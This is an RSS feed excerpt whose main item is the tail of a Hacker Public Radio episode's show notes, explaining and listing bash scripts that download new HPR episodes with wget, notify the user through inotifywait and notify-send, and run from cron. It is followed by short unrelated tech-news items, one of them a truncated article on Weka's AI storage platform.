The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.</p>

<p>

</p>

<p>
27</p>

<p>
This is simple, but has a drawback.</p>

<p>
Some podcasts occasionally change distributors.</p>

<p>
When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.</p>

<p>

</p>

<p>
28</p>

<p>
With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.</p>

<p>

</p>

<p>
I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.</p>

<p>
Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.</p>

<p>
It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
29 Downloading the New Podcasts</p>

<p>

</p>

<p>
We should now have a list of URLs for the new podcasts we do not already have. </p>

<p>
Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.</p>

<p>

</p>

<p>
Therefore, we need to iterate through the file of new podcast URLs and download each one.</p>

<p>

</p>

<p>
30</p>

<p>
Before we do that however, we should check to see if there is in fact anything new to download.</p>

<p>
To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.</p>

<p>

</p>

<p>
31</p>

<p>
If this number is zero, there is nothing to download, we can skip the download step. </p>

<p>
As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.</p>

<p>
This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.</p>

<p>
If we do exceed our download limit, then we need to log an error and skip downloading. </p>

<p>

</p>

<p>
32</p>

<p>
Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.</p>

<p>
We can do that using the "basename" command.</p>

<p>
We will use this to specify the name that we use when we save the audio file. </p>

<p>

</p>

<p>
33</p>

<p>
HPR has a very well formed file name. </p>

<p>
Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp. </p>

<p>

</p>

<p>
34</p>

<p>
Next we download the audio file using wget.</p>

<p>

</p>

<p>
This is similar to how we downloaded the RSS feed, but with a few changes.</p>

<p>
One is that I have increased the timeout to 90 seconds. </p>

<p>
This may not have been necessary, but seemed like a good idea.</p>

<p>

</p>

<p>
35</p>

<p>
The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.</p>

<p>

</p>

<p>
The third is that we specify a destination directory using the -P option. </p>

<p>

</p>

<p>
36</p>

<p>
After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.</p>

<p>
We did this using an "if" statement with the "-s" option.</p>

<p>

</p>

<p>
If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.</p>

<p>

</p>

<p>
37</p>

<p>
If the file was not present, or was zero length, we output an error message to an error log. </p>

<p>
I will come back to this point later.</p>

<p>

</p>

<p>
38</p>

<p>
Next, if there is more that one podcast to download we sleep for 3 seconds. </p>

<p>
While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..</p>

<p>

</p>

<p>
39</p>

<p>
After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.</p>

<p>
While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.</p>

<p>
This limit should be several times bigger than the number of files in the RSS feed. </p>

<p>
In this case I selected 50. </p>

<p>

</p>

<p>
40</p>

<p>
Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.</p>

<p>

</p>

<p>
We have now successfully downloaded at least one HPR podcast.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
41 Notify the User of Events</p>

<p>

</p>

<p>
It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.</p>

<p>

</p>

<p>
One of the limitations of cron jobs is that they cannot access the user interface.</p>

<p>
This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.</p>

<p>

</p>

<p>
42 inotifywait</p>

<p>
The solution to this is to use "inotifywait" to monitor particular files and directories for changes.</p>

<p>

</p>

<p>
The man page for inotifywait states the following - </p>

<p>

</p>

<p>
43</p>

<p>
inotifywait  efficiently  waits for changes to files using Linux's inotify(7) interface.  It is suitable for waiting  for  changes  to  files from  shell  scripts.  It can either exit once an event occurs, or continually execute and output events as they occur.</p>

<p>

</p>

<p>
End of quote.</p>

<p>

</p>

<p>
44</p>

<p>
In many Linux distros, inotifywait is provided by the "inotify-tools" package.</p>

<p>

</p>

<p>
I won't go over all the features of inotifywait. </p>

<p>
Instead, I will just describe how to use it for our purposes here.</p>

<p>

</p>

<p>
45 inotifywait Modes</p>

<p>

</p>

<p>
I should point out first though that inotifywait operates in two different modes.</p>

<p>
In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.</p>

<p>
In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.</p>

<p>
I will use the default mode here.</p>

<p>

</p>

<p>
46</p>

<p>
The man page for inotifywait provides a simple example that we could copy and modify for our purposes.</p>

<p>
A great many examples that you  will find are based on this example.</p>

<p>
However, it doesn't quite do what we want, so we need to change a few things.</p>

<p>

</p>

<p>
47 podfetchnotify</p>

<p>
The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.</p>

<p>
I will call this "podfetchnotify".</p>

<p>
The complete scripts are in the show notes, I will just provide a brief description here.</p>

<p>

</p>

<p>
48 Setting Up Event Watches Using  inotifywait</p>

<p>
The script is enclosed in a while loop which run indefinitely.</p>

<p>
In the first line inside the while loop, we call inotifywait.</p>

<p>
inotifywait will then block until the event it is told to look for occurs.</p>

<p>
In short, execution of the script will wait there until an event occurs.</p>

<p>

</p>

<p>
49</p>

<p>
The names of the events are listed in the man file.</p>

<p>
In this case we are looking for "modify", "create", and "moved_to".</p>

<p>
Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.</p>

<p>

</p>

<p>
50 Problems When Testing Using Text Editors</p>

<p>
I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would. </p>

<p>
Instead it treats this as a new file with the same name, with the original file being erased.</p>

<p>
Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.</p>

<p>
If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.</p>

<p>

</p>

<p>
51 Capturing Output</p>

<p>
In my example I capture the output from standard out into a variable, but I don't do anything with it.</p>

<p>
If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code. </p>

<p>
There are details about this in the man page.</p>

<p>

</p>

<p>
On the next line we capture the exit code using "$?"</p>

<p>

</p>

<p>
52 Responding to Exit Codes</p>

<p>
If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.</p>

<p>
In this case we display a message indicating that a new podcast has arrived.</p>

<p>
I will describe how to send notifications shortly. </p>

<p>

</p>

<p>
If the exit code was not zero, then an error occurred.</p>

<p>
An example of such an error would be if the directory were not present when monitoring was started.</p>

<p>
In this case we display a message indicating that a fatal error has occurred and then exit.</p>

<p>

</p>

<p>
53 Delay for More Podcasts</p>

<p>
Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.</p>

<p>
In this case I chose to wait for 60 seconds.</p>

<p>

</p>

<p>
54</p>

<p>
We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.</p>

<p>

</p>

<p>
55 Sending Notifications to the User</p>

<p>
I mentioned above about sending notification messages to the user.</p>

<p>
In the Gnome desktop, notification messages appear from the centre of the top bar in a list.</p>

<p>
Other desktops or operating systems may have something similar.</p>

<p>

</p>

<p>
56</p>

<p>
To send a notification message to the notification area, you use the "notify-send" command.</p>

<p>
Simply follow notify-send with a quoted string and it will be displayed in the notification area. </p>

<p>

</p>

<p>

</p>

<p>
57 podfetcherrornotify</p>

<p>
The second shell script is one which notifies the user of errors.</p>

<p>
I will call this "podfetcherrornotify".</p>

<p>
With this shell script we set up a watch on a file which contains any error messages from podfetch.</p>

<p>
This script is very similar to podfetchnotify.</p>

<p>

</p>

<p>
58</p>

<p>
The exceptions are</p>

<p>
With inotifywait we only monitor for "modify".</p>

<p>
There is no sleep command at the end of the loop.</p>

<p>
Instead we sleep for a few seconds just after getting the exit code from inotifywait.</p>

<p>
This helps prevent problems caused by race conditions.</p>

<p>

</p>

<p>
59</p>

<p>
Next we check the inotifywait exit code.</p>

<p>
If it was zero, then we read the error report file and send a notification message to the user containing that error message.</p>

<p>

</p>

<p>
60</p>

<p>
If it was not zero, then we check to make sure that the directory that should contain the error log exists.</p>

<p>
If it does not exist, then we send a notification message to that effect to the user and terminate the script.</p>

<p>

</p>

<p>
61</p>

<p>
If the directory exists, then we check to see if the error message file used for signalling exists.</p>

<p>
If the file does not exist, then we create it.</p>

<p>

</p>

<p>
62</p>

<p>
One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.</p>

<p>
By creating the file we correct the cause of the error and allow  inotifywait to operate normally.</p>

<p>

</p>

<p>
63</p>

<p>
Finally we increment an error counter and check to see if the limit is exceeded.</p>

<p>
If there are excessive errors, then send a notification message to the user and exit.</p>

<p>
The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.</p>

<p>

</p>

<p>
64</p>

<p>
The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.</p>

<p>
Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Installing the Scripts</p>

<p>

</p>

<p>
Next I will describe how to install and prepare the scripts to run.</p>

<p>
We need to perform the following steps.</p>

<p>

</p>

<p>
66</p>

<p>
• First, we need to create a directory to hold the scripts and their associated data files.</p>

<p>
• Next we need to create a directory to hold the downloaded podcasts.</p>

<p>
• Then we must copy the scripts to these directories and make them executable. </p>

<p>
• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.</p>

<p>

</p>

<p>
67</p>

<p>
• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.</p>

<p>
• Then we need to run each script manually from the command line to check for errors.</p>

<p>
• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.</p>

<p>

</p>

<p>
68 Adding podfetch to the Crontab</p>

<p>
The above describes how to run the scripts manually.</p>

<p>
In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.</p>

<p>
To do this, open a terminal.</p>

<p>

</p>

<p>
69</p>

<p>
Type "crontab -e", and then press return.</p>

<p>
A text editor should open up containing the crontab file.</p>

<p>
On Ubuntu, this editor is GNU nano.</p>

<p>
Enter the appropriate cron parameters.</p>

<p>
I will provide an example here for running it 12 minutes past the hour every three hours.</p>

<p>

</p>

<p>
70</p>

<p>
12 */3 * * *  /home/username/pathtofiles/podfetch.sh</p>

<p>

</p>

<p>
71</p>

<p>
I won't explain cron in detail here.</p>

<p>
The example that I have just given should be good enough for most people.</p>

<p>
The "*/3" parameter will cause it to run every three hours.</p>

<p>
The "12" parameter will cause it to run 12 minutes past the hour when it does run.</p>

<p>

</p>

<p>
72</p>

<p>
Checking every three hours should be good enough for most people, but you can adjust that as you see fit.</p>

<p>
I would recommend however that you don't check more frequently than once per hour.</p>

<p>
Checking more frequently than necessary puts extra load on the distribution servers. </p>

<p>
It is very unlikely that you really do need each new episode the moment it is available. </p>

<p>

</p>

<p>
73</p>

<p>
I would also recommend changing the "12" parameter to some other random minute value.</p>

<p>
I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.</p>

<p>

</p>

<p>
74</p>

<p>
The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.</p>

<p>

</p>

<p>
75 Making the Notification Scripts Start Automatically</p>

<p>
The two notification scripts can be made to start automatically.</p>

<p>
The exact method to do this may vary according to distribution or desktop.</p>

<p>

</p>

<p>
76</p>

<p>
On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.</p>

<p>

</p>

<p>
77</p>

<p>
I won't go into details on this here, it should be fairly self evident how to use it once you see it.</p>

<p>
What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.</p>

<p>

</p>

<p>
78</p>

<p>
These ".desktop" files are all run automatically on start up.</p>

<p>
Once you have added the notification scripts, you will need to log out and then log back in to make them active.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
79 Conclusion</p>

<p>

</p>

<p>
I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival. </p>

<p>

</p>

<p>
80</p>

<p>
The download script described here is tailored specifically for use with HPR only.</p>

<p>
However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.</p>

<p>
If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.</p>

<p>

</p>

<p>
81</p>

<p>
In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.</p>

<p>

</p>

<p>
I look forward to seeing you again later on another episode of Hack Public Radio.</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
podfetchdownloader</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Fetch pending HPR podcasts listed in the HPR RSS feed.</p>

<p>
# 8-Jun-2026</p>

<p>
# Licensed under GPLv3 or later.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Today's date and time as YYYYMMDDHHMMSS. </p>

<p>
podttimestamp=$( date +"%Y%m%d%H%M%S" )</p>

<p>

</p>

<p>
# The absolute path to the script. This is necessary when running it</p>

<p>
# using a cron job.</p>

<p>
podpath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# This is the absolute path to where to store the podcast files.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# Create the full path names here for all the text files used.</p>

<p>
podcastsfetched="$podpath/podcastsfetched.txt"</p>

<p>
poderrorslog="$podpath/poderrorslog.txt"</p>

<p>
poderrorsreport="$podpath/poderrorsreport.txt"</p>

<p>

</p>

<p>
tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"</p>

<p>
tmppodsnew="$podpath/tmppodsnew.txt" </p>

<p>
tmppodstodownload="$podpath/tmppodstodownload.txt" </p>

<p>
tmppodserrors="$podpath/tmppodserrors.txt" </p>

<p>
tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"</p>

<p>
tmplog="$podpath/tmplog.txt"</p>

<p>

</p>

<p>
# The URL for the HPR RSS feed.</p>

<p>
PodURL="http://hackerpublicradio.org/hpr_rss.php"</p>

<p>

</p>

<p>
# Limit on number of podcasts to download.</p>

<p>
DownloadLimit=11</p>

<p>

</p>

<p>
# Name of the podcast.</p>

<p>
PodName="Hacker Public Radio"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the required paths exist.</p>

<p>
# If this path does not exist, cannot log the error.</p>

<p>
if [[ ! -d "$podpath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath."</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# Where to store the podcast file fetched.</p>

<p>
if [[ ! -d "$podfilepath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath." &gt;&gt; $tmppodserrors</p>

<p>
	# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
	LogErrors</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the podcast log exists. We read it before we write to it,</p>

<p>
# so it must exist or we will hang on it not being present.</p>

<p>
if [[ ! -e $podcastsfetched ]]; then</p>

<p>
	touch $podcastsfetched</p>

<p>
fi</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Delete the specified files if they exist.</p>

<p>
# This accepts multiple file names in a variable number of parameters.</p>

<p>
CleanupFiles ()</p>

<p>
{</p>

<p>
	# $@ accepts multiple parameters.</p>

<p>
	for f in "$@"; do</p>

<p>
		# Check if the file exists.</p>

<p>
		if [ -e "$f" ]; then</p>

<p>
			rm "$f"</p>

<p>
		fi</p>

<p>
	done</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors () {</p>

<p>
	if [ -e $tmppodserrors ]; then</p>

<p>
		# The permanent log.</p>

<p>
		cat $tmppodserrors &gt;&gt; $poderrorslog</p>

<p>
		# This file is monitored for display by other scripts.</p>

<p>
		cat $tmppodserrors &gt; $poderrorsreport</p>

<p>
	fi</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Get the URL data from an RSS feed</p>

<p>
GetRSSURLData () {</p>

<p>

</p>

<p>
	wget --timeout=20 --tries=3 -O - "$PodURL" \</p>

<p>
	| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \</p>

<p>
	| sort &gt; $tmppodsnew</p>

<p>

</p>

<p>
	# This is an alternate method that does not use xmllint.</p>

<p>
	# However, it is not as robust. If someone were to include the</p>

<p>
	# first grep search pattern in their show notes, then it would</p>

<p>
	# look for that as a valid tag and output the following text</p>

<p>
	# as a URL.</p>

<p>
	#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "&lt;enclosure url=" \</p>

<p>
	#	| sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \</p>

<p>
	#	| cut -d'"' -f2 | sort &gt; $tmppodsnew</p>

<p>

</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Find which podcasts we do not already have.</p>

<p>
FindNewPodcasts () {</p>

<p>

</p>

<p>

</p>

<p>
	cat $podcastsfetched | sort &gt; $tmpoldurlssorted</p>

<p>
	comm -13 $tmpoldurlssorted $tmppodsnew &gt; $tmppodstodownload</p>

<p>

</p>

<p>
	rm $tmpoldurlssorted</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Download the podcasts.</p>

<p>
DownloadPodcasts() {</p>

<p>

</p>

<p>
	# Clear out previous temporary list of downloaded podcasts.</p>

<p>
	true &gt; $tmppodcastsfetched</p>

<p>

</p>

<p>

</p>

<p>
	for i in $( cat $tmppodstodownload )</p>

<p>
	do</p>

<p>

</p>

<p>
		# Extract the file name from the URL.</p>

<p>
		fname=$( basename $i )</p>

<p>
		outputpodname="$podfilepath/$fname"</p>

<p>

</p>

<p>
		# Download the file.</p>

<p>
		wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"</p>

<p>

</p>

<p>
		# Check if the file exists and is not empty.</p>

<p>
		if [[ -s "$outputpodname" ]]; then</p>

<p>
			echo $i &gt;&gt; $tmppodcastsfetched</p>

<p>
		else</p>

<p>
			echo "$podttimestamp Error - $outputpodname was not found or is empty." &gt;&gt; $tmppodserrors</p>

<p>
		fi</p>

<p>

</p>

<p>

</p>

<p>
		# Delay a reasonable length of time between multiple downloads.</p>

<p>
		if (( $PodCount &gt; 1 )); then </p>

<p>
			sleep 3</p>

<p>
		fi</p>

<p>

</p>

<p>
	done</p>

<p>

</p>

<p>
	# Add the list of files downloaded to the log.</p>

<p>
	# Check if the list exists and is not empty.</p>

<p>
	if [ -s $tmppodcastsfetched ]; then</p>

<p>
		cat $tmppodcastsfetched &gt;&gt; $podcastsfetched</p>

<p>
		# Trim the log file to keep it from growing indefinitely.</p>

<p>
		tail -n50 $podcastsfetched &gt; $tmplog</p>

<p>
		mv $tmplog $podcastsfetched</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Remove the tmp file now that we are done with it.</p>

<p>
	rm $tmppodcastsfetched</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Clean up any left over files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>

</p>

<p>
# Get the RSS data.</p>

<p>
GetRSSURLData</p>

<p>

</p>

<p>
# Find which podcasts are new.</p>

<p>
FindNewPodcasts</p>

<p>

</p>

<p>
# Count how many new podcasts there are.</p>

<p>
PodCount=$( cat $tmppodstodownload | wc -l )</p>

<p>

</p>

<p>

</p>

<p>
# If no podcasts to download, skip this.</p>

<p>
# If too many podcasts for this feed, then log an error and skip.</p>

<p>
# This error will keep repeating until something is done about it.</p>

<p>
if (( $PodCount &gt; 0 )); then </p>

<p>
	if (( $PodCount &gt; $DownloadLimit )); then </p>

<p>
		echo "$podttimestamp Too many podcasts for $PodName : $PodCount." &gt;&gt; $tmppodserrors		</p>

<p>
	else</p>

<p>
		# Download the podcasts listed in the temp file.</p>

<p>
		DownloadPodcasts</p>

<p>
	fi</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors</p>

<p>

</p>

<p>
# Clean up temp files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF FIRST SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>
podfetchnotify</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors for new files appearing in the new podcasts directory.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Path where new podcasts are to be stored.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Wait for the podcast directory to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	# Check for new files.</p>

<p>
	errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )</p>

<p>
	result=$?</p>

<p>

</p>

<p>

</p>

<p>
	# Check if exited due to new podcast, or if some error.</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Success, signal new podcast.</p>

<p>
		notify-send "New HPR podcast available."</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		# If it doesn't exist, there isn't much we can do to fix it.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: Podcast directory not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Wait a bit so that multiple new files don't keep re-triggering the notification.</p>

<p>
	sleep 60</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF THIRD SHELL SCRIPT</p>

<p>

</p>

<p>
podfetcherror</p>

<p>
Created Tuesday 23 June 2026</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors the Podfetch error reporting file for new errors.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Where the Podfetch program error report file is located.</p>

<p>
poderrorspath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# The full path and file name.</p>

<p>
poderrorsreport="$poderrorspath/poderrorsreport.txt"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Error counter.</p>

<p>
errcount=0</p>

<p>

</p>

<p>
# Wait for the poderrorsreport file to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	errmsg=$( inotifywait -e modify $poderrorsreport )</p>

<p>
	result=$?</p>

<p>

</p>

<p>
	# Wait a bit to ensure that writing to the file is complete.</p>

<p>
	sleep 3</p>

<p>

</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Get the latest error message.</p>

<p>
		# Cut out the date stamp at the start of the line and take the rest.</p>

<p>
		poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )</p>

<p>

</p>

<p>
		notify-send "Podfetch error: $poderr"</p>

<p>

</p>

<p>
		# Reset the error counter every time there is a successful result.</p>

<p>
		errcount=0</p>

<p>

</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: error report path not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Check if the file we are trying to monitor exists.</p>

<p>
		# If not, then create an empty file for error signaling.</p>

<p>
		if [ ! -e "$poderrorsreport" ]; then</p>

<p>
			echo &gt; $poderrorsreport</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Increment the error counter.</p>

<p>
		count=$(( count + 1 ))</p>

<p>
		if (( count &gt; 3 )); then</p>

<p>
			notify-send "Podfetch error: Excessive unknown errors, exiting."</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
	fi</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Mortal Kombat II’ Release Date: When to Stream the Video Game Movie Sequel]]></title>
<description><![CDATA[Karl Urban stars in the bloody fun action film based on the popular video game franchise.]]></description>
<link>https://tsecurity.de/de/3684882/it-nachrichten/mortal-kombat-ii-release-date-when-to-stream-the-video-game-movie-sequel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684882/it-nachrichten/mortal-kombat-ii-release-date-when-to-stream-the-video-game-movie-sequel/</guid>
<pubDate>Tue, 21 Jul 2026 23:34:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Karl Urban stars in the bloody fun action film based on the popular video game franchise.]]></content:encoded>
</item>
<item>
<title><![CDATA[LG OLEDs Summon New Prime Video Setting Named Creator Original Picture Mode]]></title>
<description><![CDATA[Saying “I have the power” into your remote will also launch the new He-Man movie.]]></description>
<link>https://tsecurity.de/de/3684879/it-nachrichten/lg-oleds-summon-new-prime-video-setting-named-creator-original-picture-mode/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684879/it-nachrichten/lg-oleds-summon-new-prime-video-setting-named-creator-original-picture-mode/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Saying “I have the power” into your remote will also launch the new He-Man movie.]]></content:encoded>
</item>
<item>
<title><![CDATA[Stop adding more GPUs: Weka's new storage platform reduces load by caching 100% of an AI model's pre-calculated tokens]]></title>
<description><![CDATA[GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve addit...]]></description>
<link>https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. </p><p>Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve additional users or generate new responses.</p><p>Instead of treating GPU memory as the limiting resource,  why not extend it with much cheaper storage technologies? </p><p><a href="https://www.weka.io/">Weka</a>, for one, believes that cheap flash storage can close that gap. The company's NeuralMesh 6 software platform, launching alongside its first self-designed hardware line, Wekapod 3, extends what Weka calls Augmented Memory Grid, an approach that aggregates NAND flash to behave like GPU memory at a fraction of the cost.</p><p>This is an active and increasingly crowded category. Dell, NetApp, Pure Storage and VAST have all repositioned toward AI infrastructure over the past two years and Weka is one of several vendors arguing it's built for this specific moment rather than adapting to it.</p><p>"What we're seeing now with customers is they're chasing availability of compute, and once they get new allocation from anyone, they want to be able to grab it and start running right away," Weka co-founder and CEO Liran Zvibel, told VentureBeat.</p><p>The potential payoff is straightforward: better utilization of existing GPU investments, lower inference costs and faster deployment of new AI workloads without waiting months for additional GPU capacity.</p><p>The technology is most relevant for organizations already operating AI at scale or expecting rapid growth in usage, particularly enterprises building internal copilots, customer service agents, software engineering assistants or retrieval systems with long context windows. Smaller deployments may see less immediate benefit than organizations where GPU utilization has already become a limiting factor.</p><h2><b>Inside Weka's NeuralMesh 6</b></h2><p>NeuralMesh 6 adds four capabilities aimed directly at a functionality gap Zvibel says has been costing Weka deals in competitive evaluations.</p><p><b>Composable and virtual multi-tenancy.</b> Composable clusters give anchor tenants full hardware-level isolation, dedicated CPU, memory, and storage. Virtual multi-tenancy runs through Weka's RDMA fabric, delivering network-level isolation that scales past 1,000 tenants per cluster, with provisioning in under 30 minutes. Combined, a single cluster running 50 composable clusters can support up to 50,000 